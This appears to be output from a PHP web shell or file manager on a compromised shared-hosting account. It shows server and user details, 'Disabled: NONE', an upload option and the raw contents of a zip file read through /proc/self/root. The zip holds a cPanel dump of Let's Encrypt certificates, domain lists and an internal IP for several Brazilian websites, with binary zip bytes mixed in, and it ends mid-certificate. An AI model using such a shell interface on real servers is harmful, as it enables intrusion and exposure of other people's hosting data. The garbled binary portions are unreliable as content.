HEX
Server: LiteSpeed
System: Linux cluster02.load-balancer.x2.network 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User: kbdhpghp (1098)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: //proc/self/root/home/kbdhpghp/bemkasar.com.br/datastore.zip
PK�n[.�R�Rssl_FETCHINSTALLEDHOSTSnu"�]
�{"version":"2.4","status":1,"statusmsg":"Ran adminbin Cpanel/ssl/FETCHINSTALLEDHOSTS","mode":"full","action":"fetch","timeout":0,"error":0,"exit_code":0,"data":{"hosts":[{"needs_sni":1,"servername":"wpsolution.com.br","is_primary_on_ip":0,"ip":"192.168.0.109","certificate":{"modulus_length":2048,"is_self_signed":0,"validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","domains":["leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.wpsolution.com.br","wpsolution.com.br","www.wpsolution.com.br"],"auto_ssl_provider_display_name":"Let’s Encrypt™","issuer.organizationName":"Let's Encrypt","subject.commonName":"www.wpsolution.com.br","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR11","subject_text":"commonName\nwww.wpsolution.com.br","id":"www_wpsolution_com_br_dc87a_f1727_1759708197_7c357aae0d93ef70ee6958953a4ec325","is_autossl":1,"modulus":"dc87abfcd700b00594b7226136122e97e06c5f524154ad3ff2971ac42ffcfe0a00fa0156f2c24bf545dfed3bb0d40a9300bc347bd285bb3c67c371128022250cadbe63a3073a98839f4e2d6e6ec5d9da20b1d383d31025a3bdf3e7fb03aa09b2b3a3c31b809569fd2360679e96c25c23cca297652d80e6c58ed29256fad84cfecd0245d693efc23411b4202e627efcd517c441bb1937487505c58b7d2271cf595ddda93c716d369dbec63455dbda32082f190710b6eb5a6d7a98ff7d3848fe4c15db65c54c234371c2db9627a1994ca2b8c0ada062d1a6af0808a88a8568c432853c6ec83caaf2de07ab560e503f12bbbdeeb09055c0455d9a930ecbcbff1727","not_after":1759708197,"not_before":1751932198,"issuer.commonName":"R11","auto_ssl_provider":"LetsEncrypt"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIFZzCCBE+gAwIBAgISBuECP6C+yHXUPsVv2xMlxlWwMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTEwHhcNMjUwNzA3MjM0OTU4WhcNMjUxMDA1MjM0OTU3WjAgMR4wHAYDVQQD\nExV3d3cud3Bzb2x1dGlvbi5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw\nggEKAoIBAQDch6v81wCwBZS3ImE2Ei6X4GxfUkFUrT/ylxrEL/z+CgD6AVbywkv1\nRd/tO7DUCpMAvDR70oW7PGfDcRKAIiUMrb5jowc6mIOfTi1ubsXZ2iCx04PTECWj\nvfPn+wOqCbKzo8MbgJVp/SNgZ56WwlwjzKKXZS2A5sWO0pJW+thM/s0CRdaT78I0\nEbQgLmJ+/NUXxEG7GTdIdQXFi30icc9ZXd2pPHFtNp2+xjRV29oyCC8ZBxC261pt\nepj/fThI/kwV22XFTCNDccLbliehmUyiuMCtoGLRpq8ICKiKhWjEMoU8bsg8qvLe\nB6tWDlA/Eru97rCQVcBFXZqTDsvL/xcnAgMBAAGjggKGMIICgjAOBgNVHQ8BAf8E\nBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC\nMAAwHQYDVR0OBBYEFIa0i+VIRA7MEZ6C2HVBbJXXOfRVMB8GA1UdIwQYMBaAFMXP\nRqTq9MPAemyVxC2wXpIvJuO5MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX\naHR0cDovL3IxMS5pLmxlbmNyLm9yZy8wgYAGA1UdEQR5MHeCM2xlaWFyYWRpZXN0\nZXNpYXRlcmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIWbWFpbC53\ncHNvbHV0aW9uLmNvbS5icoIRd3Bzb2x1dGlvbi5jb20uYnKCFXd3dy53cHNvbHV0\naW9uLmNvbS5icjATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAf\nhh1odHRwOi8vcjExLmMubGVuY3Iub3JnLzQ5LmNybDCCAQQGCisGAQQB1nkCBAIE\ngfUEgfIA8AB2AMz7D2qFcQll/pWbU87psnwi6YVcDZeNtql+VMD+TA2wAAABl+eB\nbxAAAAQDAEcwRQIgY7qNLD/v1hav5CCISLGyA0NvhLzzNdLywAl/3B8aMuECIQCn\nXPqq9CfFPAIe9X6lNmu0F+iH3NEfRVXahZ2kLyEHIQB2AH1ZHhLheCp7HGFnfF79\n+NCHXBSgTpWeuQMv2Q6MLnm4AAABl+eBdmsAAAQDAEcwRQIhAL/d5D0uAxZ8tK8m\nzfFzsvnIPcXk/XxgdZae2oN2CJzUAiB/Uzm/yVIUDI6Dxj8RP6fWfir0ZU5P/ozJ\n0pcr9jsuaTANBgkqhkiG9w0BAQsFAAOCAQEANvKLlwOuxU1SHu83CrOMxboyoMUh\nVC79oxHDdBAzDLTWIYLjeARQvviOQ4GnzWwxUlV91/4oy9JH2wAy29ZycvSSuuPc\nKxOoPhPP2ydGFgGdZ2oUOJP8ekSJc7HLyE+7oo3vOloM7+rzEuAe5VaLQUnAbZRz\nUm/wp3uxlq73cz+U94Fnsj9tCqCAlGlI7e2QRRx96Po1ETmPkltYWp0tc1vJhWNs\n0++hwYbbt5+pnZjkSzBaQNnIYZgyVPDNdc156u9LhiIznXDAaFL0ReOv0Hn8ltRs\nA79h74srrP1ASy6vxdgE9Nv0l6bcp1T/kuIVTuq8Dgb/vloyqE2zPhmoGw==\n-----END CERTIFICATE-----"},{"needs_sni":1,"is_primary_on_ip":0,"certificate":{"auto_ssl_provider":"LetsEncrypt","not_before":1756244625,"issuer.commonName":"R13","not_after":1764020624,"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","is_autossl":1,"subject_text":"commonName\nmail.atenaleaders.com.br","id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","is_self_signed":0,"modulus_length":2048,"subject.commonName":"mail.atenaleaders.com.br","issuer.organizationName":"Let's Encrypt","auto_ssl_provider_display_name":"Let’s Encrypt™"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----","ip":"192.168.0.109","servername":"leiaradiestesiaterapeutica.com.br.wpsolution.com.br"},{"is_primary_on_ip":0,"needs_sni":1,"ip":"192.168.0.109","servername":"bemkasar.com.br.wpsolution.com.br","certificate":{"auto_ssl_provider":"LetsEncrypt","issuer.commonName":"R13","not_before":1756244625,"issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","not_after":1764020624,"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","is_autossl":1,"subject_text":"commonName\nmail.atenaleaders.com.br","auto_ssl_provider_display_name":"Let’s Encrypt™","subject.commonName":"mail.atenaleaders.com.br","issuer.organizationName":"Let's Encrypt","domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"is_self_signed":0,"modulus_length":2048,"signature_algorithm":"sha256WithRSAEncryption","validation_type":"dv"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----"},{"is_primary_on_ip":0,"needs_sni":1,"servername":"atenaleaders.com.br.wpsolution.com.br","ip":"192.168.0.109","certificate":{"subject.commonName":"mail.atenaleaders.com.br","issuer.organizationName":"Let's Encrypt","auto_ssl_provider_display_name":"Let’s Encrypt™","validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","is_self_signed":0,"modulus_length":2048,"domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","not_after":1764020624,"is_autossl":1,"subject_text":"commonName\nmail.atenaleaders.com.br","id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","auto_ssl_provider":"LetsEncrypt","issuer.commonName":"R13","not_before":1756244625},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQYDVR0OBBYEFPtN12QBe0thiz15zTcsz5dvNVknMB8GA1UdIwQYMBaA\nFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw\nAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wggItBgNVHREEggIkMIICIIITYXRl\nbmFsZWFkZXJzLmNvbS5icoIlYXRlbmFsZWFkZXJzLmNvbS5ici53cHNvbHV0aW9u\nLmNvbS5icoIhYmVta2FzYXIuY29tLmJyLndwc29sdXRpb24uY29tLmJygiFsZWlh\ncmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnKCM2xlaWFyYWRpZXN0ZXNpYXRl\ncmFwZXV0aWNhLmNvbS5ici53cHNvbHV0aW9uLmNvbS5icoIYbWFpbC5hdGVuYWxl\nYWRlcnMuY29tLmJygiZtYWlsLmxlaWFyYWRpZXN0ZXNpYXRlcmFwZXV0aWNhLmNv\nbS5icoIqdml2ZW5jaWFydGVhdGVsaWUuY29tLmJyLndwc29sdXRpb24uY29tLmJy\nghd3d3cuYXRlbmFsZWFkZXJzLmNvbS5icoIpd3d3LmF0ZW5hbGVhZGVycy5jb20u\nYnIud3Bzb2x1dGlvbi5jb20uYnKCJXd3dy5iZW1rYXNhci5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCJXd3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20u\nYnKCN3d3dy5sZWlhcmFkaWVzdGVzaWF0ZXJhcGV1dGljYS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnKCLnd3dy52aXZlbmNpYXJ0ZWF0ZWxpZS5jb20uYnIud3Bzb2x1\ndGlvbi5jb20uYnIwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg\nH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xNi5jcmwwggEFBgorBgEEAdZ5AgQC\nBIH2BIHzAPEAdgDd3Mo0ldfhFgXnlTL6x5/4PRxQ39sAOhQSdgosrLvIKgAAAZjo\ni9msAAAEAwBHMEUCIQC9uLtO9BjEYAffD8t0VGxSeu8Fj+zaqbmdccTkR+7DVQIg\nHpyOeofaC3ou7dJ84m5y1IgxKMrUcpK3BtzJNwQ5d74AdwAaBP9J0FQdQK/2oMO/\n8djEZy9O7O4jQGiYaxdALtyJfQAAAZjoi9mJAAAEAwBIMEYCIQDaoKJKJJNHi0e5\n7r9JDSnZSh6vMSCo5SLqVnd2wI6v6gIhAN+SR689ZVYg1i2U6NZp6iDTpH1BeksY\nAagH2DK6bIyOMA0GCSqGSIb3DQEBCwUAA4IBAQCObXnhG/AbYf298l2j5L7jOkEM\n6pnjP5l7HDTsZ7lxWibrXEvgWy9z6HwbEl/AcDJUjykKsjBhkDm99nF75qh6QRHx\n2GLU0XUstQRpHes97275R/LjBV6tJOHT3t2jgjL6oahchegmf/kBgGQV0G4np1bQ\nqDdrqIVkMwbakygXF28GZuPSc7XCZXrq8xYyly+3JVJ5P6HaTeqI35c6r4g9Pz0I\nIJxzPyLg3JO2OafZLNW5dl7le6xu2bTM+I+nP906HIWSc7wWCjlUvDAY4NJ/3gEf\nHS7dO5IDLLsuTwToUJ6JDtHggrt4ta0R4UxcgNFG063wOqgRgkeYULRmC4VL\n-----END CERTIFICATE-----"},{"ip":"192.168.0.109","servername":"vivenciarteatelie.com.br.wpsolution.com.br","certificate":{"subject_text":"commonName\nmail.atenaleaders.com.br","is_autossl":1,"id":"mail_atenaleaders_com_br_c8f71_22549_1764020624_dfaa399ee5e35c626bb91324ed06436e","not_after":1764020624,"modulus":"c8f7185a11588e59c33191ec0057556d94e6eddb799d8da918a7307ebef63a66d2efa8bbfa545e65902d43f25b89dbbee426f0e4529a56f817a1a3384dfdae29352269dfc39ca67accaa88bcc98bc136c938968d3cfa8b9315b784f790c37400f4ad817f6e2d02e4cffa7c4eefe6463d4c36b1005903ae10025a57b78318a39f59d0882d27ecc975a69c94f5953d1b7eee8ca1e8318bacd95b9c22555430c9709890e4c058b623b9521270453f40a0d1353ab064381d675674933ac0b569efc616a7183c91cf6927b8d18e06e6293cec1b2ddafc5ffdbd2831da2176dd30dfcabbff7a8724450a0e69a8b323a4c55eb1a561c1019c0d48a3415f5dd4b3722549","issuer_text":"countryName\nUS\norganizationName\nLet's Encrypt\ncommonName\nR13","not_before":1756244625,"issuer.commonName":"R13","auto_ssl_provider":"LetsEncrypt","validation_type":"dv","signature_algorithm":"sha256WithRSAEncryption","modulus_length":2048,"is_self_signed":0,"domains":["atenaleaders.com.br","atenaleaders.com.br.wpsolution.com.br","bemkasar.com.br.wpsolution.com.br","leiaradiestesiaterapeutica.com.br","leiaradiestesiaterapeutica.com.br.wpsolution.com.br","mail.atenaleaders.com.br","mail.leiaradiestesiaterapeutica.com.br","vivenciarteatelie.com.br.wpsolution.com.br","www.atenaleaders.com.br","www.atenaleaders.com.br.wpsolution.com.br","www.bemkasar.com.br.wpsolution.com.br","www.leiaradiestesiaterapeutica.com.br","www.leiaradiestesiaterapeutica.com.br.wpsolution.com.br","www.vivenciarteatelie.com.br.wpsolution.com.br"],"issuer.organizationName":"Let's Encrypt","subject.commonName":"mail.atenaleaders.com.br","auto_ssl_provider_display_name":"Let’s Encrypt™"},"certificate_text":"-----BEGIN CERTIFICATE-----\nMIIHGTCCBgGgAwIBAgISBq9JPJdRGw4zqc9kFf2j68iPMA0GCSqGSIb3DQEBCwUA\nMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD\nEwNSMTMwHhcNMjUwODI2MjE0MzQ1WhcNMjUxMTI0MjE0MzQ0WjAjMSEwHwYDVQQD\nExhtYWlsLmF0ZW5hbGVhZGVycy5jb20uYnIwggEiMA0GCSqGSIb3DQEBAQUAA4IB\nDwAwggEKAoIBAQDI9xhaEViOWcMxkewAV1VtlObt23mdjakYpzB+vvY6ZtLvqLv6\nVF5lkC1D8luJ277kJvDkUppW+BehozhN/a4pNSJp38OcpnrMqoi8yYvBNsk4lo08\n+ouTFbeE95DDdAD0rYF/bi0C5M/6fE7v5kY9TDaxAFkDrhACWle3gxijn1nQiC0n\n7Ml1ppyU9ZU9G37ujKHoMYus2VucIlVUMMlwmJDkwFi2I7lSEnBFP0Cg0TU6sGQ4\nHWdWdJM6wLVp78YWpxg8kc9pJ7jRjgbmKTzsGy3a/F/9vSgx2iF23TDfyrv/eock\nRQoOaaizI6TFXrGlYcEBnA1Io0FfXdSzciVJAgMBAAGjggQ1MIIEMTAOBgNVHQ8B\nAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\n/wQCMAAwHQ